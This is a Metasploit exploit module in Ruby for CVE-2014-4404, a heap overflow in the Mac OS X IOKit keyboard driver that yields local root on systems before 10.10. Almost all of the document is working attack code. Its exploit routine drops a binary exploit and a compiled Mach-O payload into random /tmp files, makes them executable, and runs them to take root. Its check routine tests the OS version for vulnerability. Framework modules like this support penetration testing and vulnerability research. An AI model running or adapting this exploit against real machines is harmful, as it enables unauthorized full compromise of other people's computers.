Mac OS X IOKit Keyboard Driver Root Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ManualRanking # Can cause kernel crash  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',  
'Description' => %q{  
A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory  
corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel  
pointers can also be leaked, allowing a full kASLR bypass.  
  
Tested on Mavericks 10.9.5, and should work on previous versions.  
  
The issue has been patched silently in Yosemite.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ian Beer', # discovery, advisory, publication, and a most excellent blog post  
'joev' # copy/paste monkey  
],  
'References' =>  
[  
[ 'CVE', '2014-4404' ],  
[ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],  
# Heap overflow:  
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],  
# kALSR defeat:  
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]  
],  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64,  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [  
[ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 24 2014'  
))  
end  
  
def check  
if ver_lt(osx_ver, "10.10")  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')  
binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))  
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"  
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"  
  
print_status("Writing exploit file as '#{exploit_file}'")  
write_file(exploit_file, binary_exploit)  
register_file_for_cleanup(exploit_file)  
  
print_status("Writing payload file as '#{payload_file}'")  
write_file(payload_file, binary_payload)  
register_file_for_cleanup(payload_file)  
  
print_status("Executing payload...")  
cmd_exec("chmod +x #{exploit_file}")  
cmd_exec("chmod +x #{payload_file}")  
cmd_exec("#{exploit_file} #{payload_file}")  
end  
  
def osx_ver  
cmd_exec("sw_vers -productVersion").to_s.strip  
end  
  
def ver_lt(a, b)  
Gem::Version.new(a) < Gem::Version.new(b)  
end  
  
end  
`